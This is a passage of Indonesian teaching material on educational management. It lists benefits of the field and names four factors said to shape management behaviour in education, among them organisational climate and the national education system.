5) Terbekalinya tenaga kependidikan dengan teori tentang proses dan tugas administrasi pendidikan (tertunjangnya profesi sebagai manajer atau konsultan manajemen pendidikan)
6) Teratasinya masalah mutu pendidikan, karena 80% masalah mutu disebabkan oleh manajemennya
7) Terciptanya perencanaan pendidikan yang merata, bermutu, relevan, dan akuntabel
Meningkatkan citra positif pendidikan
G. Faktor-Faktor yang Mempengaruhi Perilaku Manajemen Pendidikan
Manajemen pendidikan merupakan salah satu cabang ilmu sosial yang intinya adalah mempelajari tentang perilaku manusia dalam kegiatannya sebagai subjek dan objek. Secara filosofis, perilaku manusia terbentuk oleh interaksi antarmanusia, iklim organisasi (konteks organisasi) dan sistem yang dianut. Ketiga interaksi tersebut, baik secara sendiri-sendiri maupun secara bersama-sama saling berinteraksi dengan lingkungan eksternalnya. Dengan demikian dapat disimpulkan faktor-faktor yang mempengaruhi perilaku manajemen pendidikan adalah:
1) interaksi antarmanusia
2) iklim organisasi
3) sistem pendidikan yang dianut (sisdiknas)
4) lingkungan eksternal
Top of Form
Tambahkan File
Bottom of Form